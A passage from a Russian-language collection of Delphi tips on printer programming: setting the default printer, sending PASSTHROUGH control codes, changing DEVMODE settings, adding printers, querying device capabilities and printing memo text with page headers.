  SetDefaultPrinter(Combobox1.Text);
end;

Взято с сайта http://www.swissdelphicenter.ch/en/tipsindex.php

uses
  IniFiles;

procedure TForm1.Button1Click(Sender: TObject);
var
  WinIni: TIniFile;
  WinIniFileName: array [0..MAX_PATH] of char;
  s: array [0..64] of char;
begin
  GetWindowsDirectory(WinIniFileName, sizeof(WinIniFileName));
  StrCat(WinIniFileName, '\win.ini');
  WinIni := TIniFile.Create(WinIniFileName);
  try
    WinIni.WriteString('windows','device', 'HP LaserJet Series II,HPPCL,LPT1:');
  finally
    WinIni.Free;
  end;
  StrCopy(S, 'windows');
  SendMessage(HWND_BROADCAST, WM_WININICHANGE, 0, LongInt(@S));
end;

Взято с http://delphiworld.narod.ru

Примечание от Vit: Поместил предыдущие ответы на сей вопрос и даже не знаю, а надо ли было? Изобретение велосипеда! В Дельфи есть предопределённый системный объект Printer типа TPrinter, в нём уже есть готовые свойства и методы как для чтения текущего принтера (и всех остальных принтеров тоже), так и для изменнеия текущего принтера на другой. Хочу добавить что реализация через API может несколько различаеться для разных версий Windows и простой код по изменнеию текущего принтера вовсе не факт будет работать стабильно на всех системах. Используйте объект Printer - это более надёжно и просто.


Управляющие коды принтера

Как мне послать на принтер управляющие коды принтера(Printer Control Codes)без перевода их в непечатные символы? Наверняка без Windows API в Delphi не обойтись.Когда я передаю управляющие коды принтера, они печатаются как непечатные символы, а не воспринимаются принтером как управляющие коды.

Вам нужно использовать Escape функцию принтера Passthrough, чтобы переслать данные непосредственно в принтер.В случае использования функции WriteLn это, конечно, не работает.Вот некоторый код, чтобы уговорить вас начать:

unit Passthru;

interface

uses printers, WinProcs, WinTypes, SysUtils;

procedure PrintTest;

implementation

type

  TPassThroughData = record
    nLen: Integer;
    Data: array[0..255] of byte;
  end;

procedure DirectPrint(s: string);
var

  PTBlock: TPassThroughData;
begin

  PTBlock.nLen := Length(s);
  StrPCopy(@PTBlock.Data, s);
  Escape(printer.handle, PASSTHROUGH, 0, @PTBlock, nil);
end;

procedure PrintTest;
begin

  Printer.BeginDoc;
  DirectPrint(CHR(27) + '&l1O' + 'Привет, Вася!');
  Printer.EndDoc;
end;

end.
Взято из Советов по Delphi от Валентина Озерова
Сборник Kuliba


Настройки принтера

Ниже приведены некоторые участки кода, позволяющие изменять настройки принтера.Тот код, который позволяет менять установки, позволяет также вам узнать принцип управления настройками.Смотри документацию по структурам ExtDeviceMode, TDEVMODE и escape функциям принтера GETSETPAPERBINS и GetDeviceCaps().

Один из путей изменения установок принтера перед печатью документа - изменение devicemode(режим устройства)принтера.

var
  Device: array[0..255] of char;
  Driver: array[0..255] of char;
  Port: array[0..255] of char;
  hDMode: THandle;
  PDMode: PDEVMODE;
begin

  Printer.PrinterIndex := Printer.PrinterIndex;
  Printer.GetPrinter(Device, Driver, Port, hDMode);
  if hDMode <> 0 then
    begin
      pDMode := GlobalLock(hDMode);
      if pDMode <> nil then
        begin
          pDMode^.dmFields := pDMode^.dmFields or DM_COPIES;
          pDMode^.dmCopies := 5;
          GlobalUnlock(hDMode);
        end;
      GlobalFree(hDMode);
    end;
  Printer.PrinterIndex := Printer.PrinterIndex;
  Printer.BeginDoc;
  Printer.Canvas.TextOut(100, 100, 'Тест 1');
  Printer.EndDoc;

Другой путь - изменение TPrinter.Это позволит изменять установки во время работы.Вы можете изменять настройки МЕЖДУ страницами.

Чтобы сделать это:

Прежде чем поступит команда startpage()(см.модуль printers.pas в каталоге Source\VCL), вы можете передать принтеру следующий код:

    DevMode.dmPaperSize := DMPAPER_LEGAL
{сброс настроек}

  Windows.ResetDc(dc, Devmode^);

Это также сбросит настройки, связанные с размером бумаги.Вы можете обратиться к описанию DEVMODE, чтобы узнать все доступные размеры бумаги.

Но это решение потребует перекомпиляции исходного кода vcl с добавлением пути к новому модулю(tools..options..library...libaray).Если вы все - таки на это решились, не забудьте после этого перезагрузить Delphi и помните, что после этого ваш исходный код становится несовместимым со стандартной версией Delphi.

Маленькое замечание...

При замене исходного принтера на другой помните, что размеры шрифтов не всегда могут правильно масштабироваться.Чтобы гарантировать соответствующий масштаб, устанавите свойство шрифта PixelsPerInch.

  uses Printers;

var

  MyFile: TextFile;
begin

  AssignPrn(MyFile);
  Rewrite(MyFile);

  Printer.Canvas.Font.Name := 'Courier New';
  Printer.Canvas.Font.Style := [fsBold];
  Printer.Canvas.Font.PixelsPerInch :=
    GetDeviceCaps(Printer.Canvas.Handle, LOGPIXELSY);

  Writeln(MyFile, 'Печатаем этот текст');

  System.CloseFile(MyFile);
end;

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
uses Printers;

begin

  Printer.BeginDoc;
  Printer.Canvas.Font.Name := 'Courier New';
  Printer.Canvas.Font.Style := [fsBold];

  Printer.Canvas.Font.PixelsPerInch :=
    GetDeviceCaps(Printer.Canvas.Handle, LOGPIXELSY);

  Printer.Canvas.Textout(10, 10, 'Печатаем этот текст');

  Printer.EndDoc;
end;
Взято из Советов по Delphi от Валентина Озерова
Сборник Kuliba


Как программно добавить принтер?

Чтобы программно добавить принтер, необходимо воспользоваться API функцией AddPrinter, которая имеет три параметра:

· Имя принтера
· Уровень печати
· Описание принтера

Следующий пример является надстройкой для этой функции. Для этого необходимо знать Имя принтера, которое будет отображаться в Проводнике, имя порта, к которому подключён принтер (т.е. LPT1:), имя драйвера (прийдётся посмотреть вручную) и имя процессора печати (который обычно "winprint").

unit unit_AddPrinter;

interface

function AddAPrinter(PrinterName, PortName,
DriverName, PrintProcessor: string): boolean;

implementation

uses
  SysUtils,
  WinSpool,
  Windows;

function AddAPrinter(PrinterName, PortName,
DriverName, PrintProcessor: string):     boolean;
var
  pName: PChar;
  Level: DWORD;
  pPrinter: PPrinterInfo2;
begin

  pName := nil;
  Level := 2;
  New(pPrinter);
  pPrinter^.pServerName := nil;
  pPrinter^.pShareName := nil;
  pPrinter^.pComment := nil;
  pPrinter^.pLocation := nil;
  pPrinter^.pDevMode := nil;
  pPrinter^.pSepFile := nil;
  pPrinter^.pDatatype := nil;
  pPrinter^.pParameters := nil;
  pPrinter^.pSecurityDescriptor := nil;
  pPrinter^.Attributes := 0;
  pPrinter^.Priority := 0;
  pPrinter^.DefaultPriority := 0;
  pPrinter^.StartTime := 0;
  pPrinter^.UntilTime := 0;
  pPrinter^.Status := 0;
  pPrinter^.cJobs := 0;
  pPrinter^.AveragePPM :=0;

  pPrinter^.pPrinterName := PCHAR(PrinterName);
  pPrinter^.pPortName := PCHAR(PortName);
  pPrinter^.pDriverName := PCHAR(DriverName);
  pPrinter^.pPrintProcessor := PCHAR(PrintProcessor);

  if AddPrinter(pName, Level, pPrinter) <> 0 then
    Result := true
  else
  begin
    // ShowMessage(inttostr(GetlastError));
    Result := false;
  end;
end;

end.

Взято с http://delphiworld.narod.ru


Escape код PASSTHROUGH

Кто - нибудь знает почему некоторые видеодрайверы не осуществляют транзитную пересылку данных(passthrough)в Escape функции?
Как узнать, поддерживает ли драйвер принтера код PASSTROUGH? Dos - приложения и в Windows 95 используют эту функцию с командой "copy file > lpt1" для передачи текста в буфер принтера.

Хотя Delphi модуль TPrinter облегчает доступ к принтеру, есть случаи, когда вам необходимо спуститься до транспортного уровня общения системы с принтером и передать специфические для устройства управляющие коды.Под 16 - битной операционной системой Windows это было так же легко, как открыть порт принтера, но сейчас, к примеру, под Windows NT, непосредственный доступ к аппаратному обеспечению невозможен.Одно из решений проблемы состоит в использовании Windows кода "PASSTHROUGH" для посылки кода непосредственно в принтер.Тем не менее, для использования кода "PASSTHROUGH" необходимо, чтобы это поддерживалось самим драйвером принтера.К сожалению, далеко не все принтеры поддерживают данную характеристику.

Необходимо отметить, что "PASSTHROUGH" для 32 - битных приложений считается устаревшим кодом.Но должно пройти немало лет, прежде чем это умрет окончательно, поскольку это до сих пор используется во многих коммерческих приложениях.

Приведенный ниже пример не привязан к каким - либо специфическим моделям принтеров.Вам необходимо лишь знать правильную последовательность передачи escape кодов на управляемый вами принтер.Имейте в виду, что вы все еще должны вызывать методы BeginDoc и EndDoc объекта TPrinter.При вызове метода BeginDoc драйвер принтера инициализирует принтер как объект управления, EndDoc - деинициализацирует и извлекает бумагу.При escape вызове принтер может установить текущий режим метрики экрана, если он поддерживает внутреннее масштабирование.Технически вы ничего не должны делать, что могло бы вызвать обнуление памяти принтера или удаление из него бумаги с помощью escape кодов.Другими словами, попытайтесь оставить принтер в том же состоянии, в котором он остался после окончания печати.В основном это касается технически совершенных принтеров, поддерживающих режим Postscript, в стандартных же моделях(TTY)все это не столь существенно, и вы свободны в своих действиях, включая удаление страницы из принтера.

Пример кода:

Прежде всего вам необходимо описать структуру буфера, который вы собираетесь посылать.Структура буфера определена как слово, содержащее размер буфера и сам буфер, содержащий данные.

Прежде всего, с помощью escape вызова "QUERYESCSUPPORT" необходимо убедиться, что "PASSTHROUGH" поддерживается драйвером печати.

И, наконец, ваши данные будут переданы в поток данных принтера.Необходимо также помнить, что в некоторых моделях принтеров(Postscript), вам возможно понадобиться добавить пробелы в начале и в конце передаваемых данных, чтобы отделить ваши данные от данных драйвера печати.

unit Esc1;

interface

uses

  SysUtils, WinTypes, WinProcs, Messages, Classes, Graphics, Controls,
  Forms, Dialogs, StdCtrls;

type

  TForm1 = class(TForm)
    Button1: TButton;
    procedure Button1Click(Sender: TObject);
  private
{ Private declarations }
  public
{ Public declarations }
  end;

var

  Form1: TForm1;

implementation

{ добавляем модуль printers }
uses

  Printers;

{$R *.DFM}

{ описываем структуру "PASSTHROUGH" }
type TPrnBuffRec = record

    BuffLength: word;
    Buffer: array[0..255] of char;
  end;

procedure TForm1.Button1Click(Sender: TObject);
var

  Buff: TPrnBuffRec;
  TestInt: integer;
  s: string;
begin

{ Тестируем на предмет поддержки escape кода "PASSTHROUGH" }

  TestInt := PASSTHROUGH;
  if Escape(Printer.Handle,
    QUERYESCSUPPORT,
    sizeof(TestInt),
    @TestInt,
    nil) > 0 then
    begin

{ Начинаем вывод на печать }
      Printer.BeginDoc;

{ Создаем строку для транзитной пересылки }
      s := ' Текстовая строка ';

{ Копируем строчку в буфер }
      StrPCopy(Buff.Buffer, s);

{ Устанавливаем размер буфера }
      Buff.BuffLength := StrLen(Buff.Buffer);

{ Даем команду на транзитную пересылку буфера }
      Escape(Printer.Canvas.Handle,
        PASSTHROUGH,
        0,
        @Buff,
        nil);

{ Заканчиваем вывод на печать }
      Printer.EndDoc;
    end;
end;

end.
Взято из Советов по Delphi от Валентина Озерова
Сборник Kuliba


Как прочитать список возможностей принтера?

uses
  Printers;

//------------------------------------------------------------------------------
// Printer Device Debugging Code to TMemo Componenet
// (c) - 1999 / by A. Weidauer
// alex.weiauer@huckfinn.de
//------------------------------------------------------------------------------

procedure GetDeviceSettings(DevCtrl: TMemo);
var
  Sep: string;
  //-----------------------------------------------
  procedure MakeInt(S: string; key: Integer);
  begin
    S := UpperCase(S);
    DevCtrl.Lines.Add(UpperCase(Format(' %36S = %d ',
      [s, GetDeviceCaps(Printer.Handle, Key)])));
  end;
  //-----------------------------------------------
  function StringToBits(S: string): string;
  var
    H: string;
    i: Integer;
    //-----------------------------------------------
    function SubStr(C: Char): string;
    begin
      if c = '0' then SubStr := '0000';
      if c = '1' then SubStr := '0001';
      if c = '2' then SubStr := '0010';
      if c = '3' then SubStr := '0011';
      if c = '4' then SubStr := '0100';
      if c = '5' then SubStr := '0101';
      if c = '6' then SubStr := '0110';
      if c = '7' then SubStr := '0111';
      if c = '8' then SubStr := '1000';
      if c = '9' then SubStr := '1001';
      if c = 'A' then SubStr := '1010';
      if c = 'B' then SubStr := '1011';
      if c = 'C' then SubStr := '1100';
      if c = 'D' then SubStr := '1101';
      if c = 'E' then SubStr := '1110';
      if c = 'F' then SubStr := '1111';
    end;
    //-----------------------------------------------
  begin
    StringToBits := '';
    S := UpperCase(s);
    H := '';
    if Length(S) = 0 then Exit;
    if Length(S) = 1 then S := '0000' + S;
    if Length(S) = 2 then S := '000' + S;
    if Length(S) = 3 then S := '00' + S;
    if Length(S) = 4 then S := '0' + S;
    for i := 1 to Length(s) do
      H := H + ' ' + SubStr(S[i]);
    StringToBits := H;
  end;
  //-----------------------------------------------
  procedure MakeHex(S: string; key: Cardinal);
  var
    h: string;
  begin
    S := UpperCase(S);
    h := Format('%X', [GetDeviceCaps(Printer.Handle, Key)]);
    if Length(H) = 0 then Exit;
    if Length(H) = 1 then H := '0000' + H;
    if Length(H) = 2 then H := '000' + H;
    if Length(H) = 3 then H := '00' + H;
    if Length(H) = 4 then H := '0' + H;
    DevCtrl.Lines.Add('');
    DevCtrl.Lines.Add(SEP);
    DevCtrl.Lines.Add('');
    DevCtrl.Lines.Add(Format('%37S = Flags(%S) Key(%S)',
      [s, h, StringToBits(H)]
      ));
    // (( GetDeviceCaps(Printer.Handle,Key),
  end;
  //----------------------------------------------------
  procedure MakeFlag(S: string; key, subKey: Cardinal);
  var
    i: Cardinal;
  begin
    S := UpperCase(S);
    i := GetDeviceCaps(Printer.Handle, Key);
    if i and SubKey <> 0 then
      DevCtrl.Lines.Add(Format(' %34S = Flag(%4S) Key(%6D,%S)',
        [s, 'ON ', SubKey, StringToBits(Format('%x', [SubKey]))]))
    else
      DevCtrl.Lines.Add(Format(' %34S = Flag(%4S) Key(%6D,%S)',
        [s, 'OFF', SubKey, StringToBits(Format('%x', [SubKey]))]))
  end;
  //----------------------------------------------------
  function TechnoToStr(i: Integer): string;
  begin
    TechnoToStr := '#ERROR# is Unknwon';
    case i of
      DT_PLOTTER: TechnoToStr    := 'Vector Plotter';
      DT_RASDISPLAY: TechnoToStr := 'Raster Display';
      DT_RASPRINTER: TechnoToStr := 'Raster Printer';
      DT_RASCAMERA: TechnoToStr  := 'Raster Camera';
      DT_CHARSTREAM: TechnoToStr := 'Character Stream';
      DT_METAFILE: TechnoToStr   := 'Metafile';
      DT_DISPFILE: TechnoToStr   := 'Display file';
    end;
  end;

  //--Main Procedure
  //----------------------------------------------------------
begin
  DevCtrl.SetFocus;
  DevCtrl.Visible := False;
  if Printer.PrinterIndex < 0 then Exit;
  // Device Organisation
  try

    if not (GetMapMode(Printer.Handle) = MM_TEXT) then
      SetMapMode(Printer.Handle, MM_Text);
    DevCtrl.Clear;

    Sep := '______________________________________________________________________________________________';
    DevCtrl.Lines.Add(sep);
    DevCtrl.Lines.Add('');
    DevCtrl.Lines.Add(' PRINTER : ' + Printer.Printers[Printer.PrinterIndex]);
    DevCtrl.Lines.Add(sep);
    DevCtrl.Lines.Add('');

    DevCtrl.Lines.Add(sep);
    DevCtrl.Lines.Add('');
    DevCtrl.Lines.Add(Format('%36S = %D', ['NUMBER Of COPIES', Printer.Copies]));
    if Printer.Orientation = poLandscape then
      DevCtrl.Lines.Add(Format('%36S = LANDSCAPE', ['ORIENTATION']));
    if Printer.Orientation = poPortrait then
      DevCtrl.Lines.Add(Format('%36S = PORTRAIT', ['ORIENTATION']));

    DevCtrl.Lines.Add(sep);
    DevCtrl.Lines.Add('');
    MakeInt('DRIVERVERSION', DRIVERVERSION);
    DevCtrl.Lines.Add(Format(' %36S = %S', ['TECHNOLOGY',
      UpperCase(TechnoToStr(GetDeviceCaps(Printer.Handle, Technology)))]));
    DevCtrl.Lines.Add(sep);
    DevCtrl.Lines.Add('');
    MakeInt('WIDTH [mm]', HORZSIZE);
    MakeInt('HEIGHT [mm]', VERTSIZE);
    MakeInt('WIDTH [pix]', HORZRES);
    MakeInt('HEIGHT [pix]', VERTRES);
    DevCtrl.Lines.Add(sep);
    DevCtrl.Lines.Add('');
    MakeInt('Physical Width [pix]', PHYSICALWIDTH);
    MakeInt('Physical Height[pix]', PHYSICALHEIGHT);
    MakeInt('Physical Offset X [pix]', PHYSICALOFFSETX);
    MakeInt('Physical Offset Y [pix]', PHYSICALOFFSETY);
    MakeInt('SCALING FACTOR X', SCALINGFACTORX);
    MakeInt('SCALING FACTOR Y', SCALINGFACTORY);
    DevCtrl.Lines.Add(sep);
    DevCtrl.Lines.Add('');
    MakeInt('horizontal [DPI]', LOGPIXELSX);
    MakeInt('vertial [DPI]', LOGPIXELSY);
    MakeInt('BITS PER PIXEL', BITSPIXEL);
    MakeInt('COLOR PLANES', PLANES);
    DevCtrl.Lines.Add(sep);
    DevCtrl.Lines.Add('');
    MakeInt('NUMBER OF BRUSHES', NUMBRUSHES);
    MakeInt('NUMBER OF PENS', NUMPENS);
    MakeInt('NUMBER OF FONTS', NUMFONTS);
    MakeInt('NUMBER OF COLORS', NUMCOLORS);
    DevCtrl.Lines.Add(sep);
    DevCtrl.Lines.Add('');
    MakeInt('ASPECT Ratio X [DPI]', ASPECTX);
    MakeInt('ASPECT Ratio Y [DPI]', ASPECTY);
    MakeInt('ASPECT Ratio XY [DPI]', ASPECTXY);
    DevCtrl.Lines.Add(sep);
    DevCtrl.Lines.Add('');
    MakeInt('SIZE OF PALETTE', SIZEPALETTE);
    MakeInt('RESERVED TO SYSTEM PALETTE **', NUMRESERVED);
    MakeInt('ACTUAL RASTER RESOLUTION **', COLORRES);
    DevCtrl.Lines.Add('');
    DevCtrl.Lines.Add(' **...only true if KEY RASTERCAPS(RC_PALETTE)= ON');
    MakeFlag('... KEY RASTERCAPS (RC_PALETTE)', RasterCaps, RC_PALETTE);
    DevCtrl.Lines.Add('');

    MakeHex('Clipping Capablities ', ClipCaps);
    DevCtrl.Lines.Add(sep);
    DevCtrl.Lines.Add('');
    MakeFlag('No Support ', ClipCaps, CP_NONE);
    MakeFlag('Support Rectangles', ClipCaps, CP_RECTANGLE);
    MakeFlag('Support PolyRegion 32 Bit', ClipCaps, CP_REGION);

    MakeHex('Raster Printing Flags ', RasterCaps);
    DevCtrl.Lines.Add(sep);
    DevCtrl.Lines.Add('');
    MakeFlag('Support Bitmap Transfer', RasterCaps, RC_BITBLT);
    MakeFlag('Support Banding', RasterCaps, RC_BANDING);
    MakeFlag('Support Scaling', RasterCaps, RC_SCALING);
    MakeFlag('Support Bitmaps > 64 kByte', RasterCaps, RC_BITMAP64);
    MakeFlag('Support features of Win 2.0', RasterCaps, RC_GDI20_OUTPUT);
    MakeFlag('Support Set~/GetDIBITS()', RasterCaps, RC_DI_BITMAP);
    MakeFlag('Support Palette Devices', RasterCaps, RC_PALETTE);
    MakeFlag('Support SetDIBitsToDevice()', RasterCaps, RC_DIBTODEV);
    MakeFlag('Support Floodfill', RasterCaps, RC_FLOODFILL);
    MakeFlag('Support StretchBlt()', RasterCaps, RC_STRETCHBLT);
    MakeFlag('Support StretchBID()', RasterCaps, RC_STRETCHDIB);
    MakeFlag('Support DIBS', RasterCaps, RC_DEVBITS);

    MakeHex('Curve Printion Flages', CurveCaps);
    DevCtrl.Lines.Add(sep);
    DevCtrl.Lines.Add('');
    MakeFlag('No Curve support', CurveCaps, CC_NONE);
    MakeFlag('Support Circles', CurveCaps, CC_Circles);
    MakeFlag('Support Pie', CurveCaps, CC_PIE);
    MakeFlag('Support Arces', CurveCaps, CC_CHORD);
    MakeFlag('Support Ellipses', CurveCaps, CC_ELLIPSEs);
    MakeFlag('Support WIDE FRAMES', CurveCaps, CC_WIDE);
    MakeFlag('Support STYLED FRAMES', CurveCaps, CC_STYLED);
    MakeFlag('Support WIDE&STYLED FRAMES', CurveCaps, CC_WIDESTYLED);
    MakeFlag('Support INTERIORS', CurveCaps, CC_INTERIORS);
    MakeFlag('Support ROUNDRECT', CurveCaps, CC_ROUNDRECT);

    MakeHex('Line & Polygon Printing Flags', LineCaps);
    DevCtrl.Lines.Add(sep);
    DevCtrl.Lines.Add('');
    MakeFlag('No Line Support', LineCaps, LC_NONE);
    MakeFlag('Support Polylines', LineCaps, LC_PolyLine);
    MakeFlag('Support Marker', LineCaps, LC_Marker);
    MakeFlag('Support PolyMarker', LineCaps, LC_PolyMarker);
    MakeFlag('Support Wide Lines', LineCaps, LC_WIDE);
    MakeFlag('Support STYLED Lines', LineCaps, LC_STYLED);
    MakeFlag('Support WIDE&STYLED Lines', LineCaps, LC_WIDESTYLED);
    MakeFlag('Support Lines Interiors', LineCaps, LC_INTERIORS);

    MakeHex('Polygon (Areal) Printing Flags', POLYGONALCAPS);
    DevCtrl.Lines.Add(sep);
    DevCtrl.Lines.Add('');
    MakeFlag('No Polygon Support', PolygonalCaps, PC_NONE);
    MakeFlag('Filling Alternate Polygons', PolygonalCaps, PC_POLYGON);
    MakeFlag('Drawing Rectangles', PolygonalCaps, PC_RECTANGLE);
    MakeFlag('Filling Winding Polygons', PolygonalCaps, PC_WINDPOLYGON);
    MakeFlag('Drawing Trapezoid (??Flag)', PolygonalCaps, PC_Trapezoid);
    MakeFlag('Drawing a ScanLine', PolygonalCaps, PC_SCANLINE);
    MakeFlag('Drawing Wide Border', PolygonalCaps, PC_WIDE);
    MakeFlag('Drawing Styled Border', PolygonalCaps, PC_STYLED);
    MakeFlag('Drawing WIDE&STYLED Border', PolygonalCaps, PC_WIDESTYLED);
    MakeFlag('Drawing Interiors', PolygonalCaps, PC_INTERIORS);

    MakeHex('Text Printing Flags', TEXTCAPS);
    DevCtrl.Lines.Add(sep);
    DevCtrl.Lines.Add('');
    MakeFlag('Support Character Output Precision', TextCaps, TC_OP_CHARACTER);
    MakeFlag('Support Stroke Output Precision', TextCaps, TC_OP_STROKE);
    MakeFlag('Support Stroke Clip Precision', TextCaps, TC_CP_STROKE);
    MakeFlag('Support 90° Character Rotation', TextCaps, TC_CR_90);
    MakeFlag('Support any Character Rotaion', TextCaps, TC_CR_ANY);
    MakeFlag('Support Character Scaling in X&Y', TextCaps, TC_SF_X_YINDEP);
    MakeFlag('Support Character Scaling REAL', TextCaps, TC_SA_DOUBLE);
    MakeFlag('Support Character Scaling RATIONAL', TextCaps, TC_SA_INTEGER);
    MakeFlag('Support Character Scaling EXACT', TextCaps, TC_SA_CONTIN);
    MakeFlag('Support Character Weight REAL', TextCaps, TC_EA_DOUBLE);
    MakeFlag('Support Character Italic', TextCaps, TC_IA_ABLE);
    MakeFlag('Support Character Underline', TextCaps, TC_UA_ABLE);
    MakeFlag('Support Character Strikeout', TextCaps, TC_SO_ABLE);
    MakeFlag('Support Character as RASTER FONT', TextCaps, TC_RA_ABLE);
    MakeFlag('Support Character as VECTOR FONT', TextCaps, TC_VA_ABLE);
    MakeFlag('Reserved Flag ???', TextCaps, TC_Reserved);
    MakeFlag('DEVICE NOT USE a SCROLLBIT BLOCK ?', TextCaps, TC_SCROLLBLT);
    DevCtrl.Lines.Insert(0, '..THE RESULTS ARE:');
  except
    // MessageDlg('The Current Printer is not valid ! ',
    // mtError,[mbok],0);
    Printer.PrinterIndex := -1;
    DevCtrl.Lines.Add(' ! The Printer is not valid !');
  end;
  DevCtrl.Visible := True;
  DevCtrl.SetFocus;
end;
Взято с сайта http://www.swissdelphicenter.ch/en/tipsindex.php


Метрики принтера

При печати с помощью TPrinter могу ли я определить момент, когда достигнут конец листа? Возможно ли получить высоту базовой строки с назначенным шрифтом?

Font.Height дает вам высоту шрифта в пикселях с учетом интервала.
Как мне преобразовать высоту в пикселях в дюймы печатаемой страницы?

Не делайте этого, используйте у TPrinter свойства PageHeight и PageWidth.
Хорошо, но я еще что - то не учел.Например, я использую шрифт Courier New размером 9 точек:
Printer.Canvas.Font.Height = -12
Printer.PageHeight = 3150

Даже отбрасывая загадку унарного минуса, я получаю 3150 div 12, или 262 строк на страницу.

Посмотри электронную справку по теме 'Printer.Canvas.TextHeight'.Это свойство покажет вам, какую высоту будет использовать 'текущий шрифт'.Это то, что вы должны использовать для определения 'количество строк на странице'.Например, шрифт Courier New размером 9 точек имеет значение TextHeight, равное 40. Поделите 3150 на эту величину и вы получите 78 'строк', почти правильную величину для 9 - точечного шрифта, если принимать во внимание то, что на дюйме помещается примерно 8 строк.
Для определения количества точек на дюйм(как горизонтально, так и вертикально)можно использовать API функцию GetDeviceCaps.Полученные значения позволят вам правильно преобразовать пиксели в дюймы.
Значение - 12 для 9 - точечного шрифта Courier - это высота шрифта для устройства с разрешением 96 DPI(например, ваш экран).Попробуйте назначить величину 9 свойству Size после того как вы вызвали BeginDoc и посмотрите на значение свойства Height.Это должно быть значительно большей величиной.
Вызывая команду Printer.NewPage, вы _не_ начинаете печать очередной строки, а заставляете принтер закончить печать на текущем листе и начать печать сверху нового листа(кажется, принтер HPLJ IIIP понимает эту команду иначе).После вызова Printer.NewPage следующая строка печатается примерно в полдюйме от верха бумаги.
Кроме того, приведу здесь текст моей текущей программы для печати текста компонента Memo с заголовком на каждой странице:

procedure btPrintMemoWithHeader(Memo: TCustomMemo;
  Printer: TPrinter;
  PrintDialog: TPrintDialog;
  HeaderText: string;
  TopMargin, BottomMargin, LeftMargin: Integer);
var
  FirstPage: Boolean;
  i, LinesPerPage, CurrentLine, Line: Integer;
  PrintText: System.Text;
  LeftMarginString, Header: string;
begin
  if PrintDialog.Execute then
    begin
      with Printer do
        begin
          AssignPrn(PrintText);
          Rewrite(PrintText);
{Заполняем левую часть строки определенным количеством пробелов.}
          LeftMarginString := '';
          for i := 0 to LeftMargin do
            LeftMarginString := LeftMarginString + ' ';
{Назначаем принтеру такой же шрифт, как и в компоненте Memo.:\}
          Canvas.Font := (Memo as TMemo).Font;
{Вычисляем количество строк на странице.}
          LinesPerPage := PageHeight div Canvas.TextHeight('X');
          LinesPerPage := LinesPerPage - 8 - TopMargin - BottomMargin;
          CurrentLine := LinesPerPage;
          FirstPage := True;
{Печать Memo.}
          for Line := 0 to Memo.Lines.Count - 1 do
            begin
{Если конец страницы, начинаем новую.}
              if CurrentLine >= LinesPerPage then
                begin
{Печатаем "Form Feed", если это не новая страница принтера.}
                  if not FirstPage then Write(PrintText, #12); {Если не первая страница, то меняем лист}
                  FirstPage := False;
{Печатаем определенное количество пустых строк для верхнего поля.}
                  for i := 0 to TopMargin do
                    Writeln(PrintText, '');
{Форматируем и печатаем строку заголовока.}
                  Header := Format('Страница %s     %s  %s     %s'#13#10,
                    [IntToStr(Printer.PageNumber), DateToStr(Date),
                    TimeToStr(Time), HeaderText]);
                  Write(PrintText, LeftMarginString);
                  Writeln(PrintText, Header);
{Сбрасываем номер текущей строки на 1 для следующей страницы.}
                  CurrentLine := 1;
                end;
{Печатаем строку из Memo.}
              Write(PrintText, LeftMarginString);
              Writeln(PrintText, Memo.Lines[Line]);
              Inc(CurrentLine);
            end;
          CloseFile(PrintText);
        end;
    end;
end;
Взято из Советов по Delphi от Валентина Озерова
Сборник Kuliba


Определение количества заданий в спулере печати

Spooler печати Windows посылает WM_SPOOLERSTATUS каждый раз при добавлении и удалении заданий в очереди печати. В следующем примере показано как перехватить это сообщение:

type
TForm1 = class(TForm)
    Label1: TLabel;
private
    { Private declarations }
    procedure WM_SpoolerStatus(var Msg : TWMSPOOLERSTATUS); message WM_SPOOLERSTATUS;
public
    { Public declarations }
end;

var
Form1: TForm1;

implementation

{$R *.DFM}

procedure TForm1.WM_SpoolerStatus(var Msg : TWMSPOOLERSTATUS);
begin
Lable1.Caption := IntToStr(msg.JobsLeft) +
            ' Jobs currenly in spooler';
msg.Result := 0;
end;

Автор: Song

Взято из http://forum.sources.ru


Как открыть диалог добавления принтера

// добавьте ShellAPI в USES

begin
  ShellExecute(handle, nil, 'rundll32.exe',
    'shell32.dll,SHHelpShortcuts_RunDLL AddPrinter',
    '', SW_SHOWNORMAL);
end;

Взято с http://delphiworld.narod.ru


Определение параметров принтера через API

Для определения информации о принтере (плоттере, экране) необходимо знать Handle этого принтера, а его можно узнать объекта TPrinter - Printer.Handle. Далее вызывается функция API (unit WinProcs) :

GetDevice(Handle:HDC; Index:integer):integer;

Index - код параметра, который необходимо вернуть. Для Index существует ряд констант :

DriverVersion - вернуть версию драйвера
Texnology - Технология вывода, их много, основные
dt_Plotter - плоттер
dt_RasPrinter - растровый принтер
dt_Display - дисплей
HorzSize - Горизонтальный размер листа (в мм)
VertSize - Вертикальный размер листа (в мм)
HorzRes - Горизонтальный размер листа (в пикселах)
VertRes - Вертикальный размер листа (в пикселах)
LogPixelX - Разрешение по оси Х в dpi (пиксел /дюйм)
LogPixelY - Разрешение по оси Y в dpi (пиксел /дюйм)
Кроме перечисленных еще около сотни, они позволяют узнать о принтере практически все.

Параметры, возвращаемые по LogPixelX и LogPixelY очень важны - они позволяют произвести пересчет координат из миллиметров в пиксели для текущего разрешения принтера. Пример таких функций:

{ Получить информацию о принтере }
Procedure TForm1.GetPrinterInfo;
begin
  PixelsX:=GetDeviceCaps(printer.Handle,LogPixelsX);
  PixelsY:=GetDeviceCaps(printer.Handle,LogPixelsY);
end;

{ переводит координаты из мм в пиксели }
Function TForm1.PrinterCoordX(x:integer):integer;
begin
 PrinterCoordX:=round(PixelsX/25.4*x);
end;

{ переводит координаты из мм в пиксели }
Function TForm1.PrinterCoordY(Y:integer):integer;
begin
 PrinterCoordY:=round(PixelsY/25.4*Y);
end;

...

GetPrinterInfo;
Printer.Canvas.TextOut(PrinterCoordX(30), PrinterCoordY(55),
 'Этот текст печатается с отступом 30 мм от левого края и '+
 '55 мм от верха при любом разрешении принтера');

Данную методику можно с успехом применять для печати картинок - зная размер картинки можно пересчитать ее размеры в пикселах для текущего разрешения принтера, масштабировать, и затем уже распечатать. Иначе на матричном принтере (180 dpi) картинка будет огромной, а на качественном струйнике (720 dpi) - микроскопической.

Взято с http://delphiworld.narod.ru


Получить список шрифтов и их размеров для текущего принтера

Следующий пример помещает в компонент TMemo список шрифтов и их размеров для текущего принтера.

uses Printers;

function EnumFontFamilyProc(var lf: TLogFont;
  var tm: TNewTextMetric;
  FontType: integer;
  var Memo: TMemo): integer
{$IFDEF WIN32} stdcall;
{$ELSE}; export;
{$ENDIF}
begin
